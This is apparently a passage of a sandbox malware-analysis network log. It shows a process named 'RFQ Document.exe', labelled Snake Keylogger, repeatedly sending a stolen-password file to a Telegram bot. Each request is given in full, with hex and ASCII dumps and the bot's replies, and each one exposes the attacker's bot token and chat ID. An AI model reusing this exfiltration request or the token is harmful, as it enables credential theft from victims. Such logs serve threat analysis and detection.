{"ok":true,"result":{"message_id":12609,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808706,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.4	50127	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:47 UTC	462	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f54f76ba Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:47 UTC	462	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 34 66 37 36 62 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f54f76baContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:47 UTC	462	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:47 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:47 UTC	463	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12879,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808787,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.4	50128	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:47 UTC	463	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f5674ca3 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:47 UTC	463	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 36 37 34 63 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f5674ca3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:47 UTC	464	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:47 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:47 UTC	464	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12880,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808787,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.4	50129	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:47 UTC	465	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f57f2362 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:47 UTC	465	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 37 66 32 33 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f57f2362Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:47 UTC	465	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:47 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:47 UTC	466	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12881,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808787,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.2.4	50130	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:47 UTC	466	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f59bc08b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:47 UTC	467	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 39 62 63 30 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f59bc08bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:47 UTC	467	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:47 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:47 UTC	467	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12882,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808787,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.4	50131	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:47 UTC	468	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f5b39700 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:47 UTC	468	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 62 33 39 37 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f5b39700Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:47 UTC	469	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:47 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:47 UTC	469	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12884,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808787,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.2.4	50132	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:47 UTC	470	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f5d9be34 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:47 UTC	470	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 64 39 62 65 33 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f5d9be34Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:48 UTC	470	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:48 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:48 UTC	471	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12885,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808788,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.4	50133	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:48 UTC	471	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f5f1944b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:48 UTC	472	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 35 66 31 39 34 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f5f1944bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:48 UTC	472	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:48 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:48 UTC	472	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12886,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808788,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.4	50134	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:48 UTC	473	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f60e30cf Host: api.telegram.org Content-Length: 407
